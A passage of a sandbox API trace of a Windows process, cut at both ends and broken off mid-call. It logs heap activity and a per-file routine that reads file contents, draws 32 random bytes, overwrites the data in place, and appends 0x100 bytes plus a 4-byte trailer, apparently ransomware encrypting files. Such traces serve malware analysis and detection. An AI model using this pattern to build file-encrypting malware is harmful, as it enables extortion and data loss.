[0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.817] GetProcessHeap () returned 0x540000 [0088.817] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.817] CloseHandle (hObject=0x9d0) returned 1 [0088.819] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 150 [0088.819] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.819] ReadFile (in: hFile=0x9d4, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.819] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.819] GetProcessHeap () returned 0x540000 [0088.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.820] GetProcessHeap () returned 0x540000 [0088.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.820] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.820] GetProcessHeap () returned 0x540000 [0088.820] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.820] ReadFile (in: hFile=0x9d4, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0xbbe, lpOverlapped=0x0) returned 1 [0088.862] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0xfffff442, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.862] WriteFile (in: hFile=0x9d4, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0xbbe, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0xbbe, lpOverlapped=0x0) returned 1 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.862] GetProcessHeap () returned 0x540000 [0088.862] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.862] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.863] GetProcessHeap () returned 0x540000 [0088.863] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.864] GetProcessHeap () returned 0x540000 [0088.864] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.864] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.865] GetProcessHeap () returned 0x540000 [0088.865] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.866] GetProcessHeap () returned 0x540000 [0088.866] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0088.867] SetFilePointerEx (in: hFile=0x9d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.867] WriteFile (in: hFile=0x9d4, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0088.867] WriteFile (in: hFile=0x9d4, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0088.867] GetProcessHeap () returned 0x540000 [0088.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0088.867] GetProcessHeap () returned 0x540000 [0088.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0088.867] GetProcessHeap () returned 0x540000 [0088.867] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0088.867] CloseHandle (hObject=0x9d4) returned 1 [0088.868] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 151 [0088.868] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.868] ReadFile (in: hFile=0x9d8, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0088.868] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.868] GetProcessHeap () returned 0x540000 [0088.868] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0088.868] GetProcessHeap () returned 0x540000 [0088.868] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0088.868] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0088.868] GetProcessHeap () returned 0x540000 [0088.868] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0088.868] ReadFile (in: hFile=0x9d8, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0088.954] SetFilePointerEx (in: hFile=0x9d8, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.954] WriteFile (in: hFile=0x9d8, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0088.954] GetProcessHeap () returned 0x540000 [0088.954] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0088.954] GetProcessHeap () returned 0x540000 [0088.954] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.955] GetProcessHeap () returned 0x540000 [0088.955] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.955] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0088.956] GetProcessHeap () returned 0x540000 [0088.956] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.957] GetProcessHeap () returned 0x540000 [0088.957] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0088.958] GetProcessHeap () returned 0x540000 [0088.958] HeapFree (in: hHeap=0x540000, 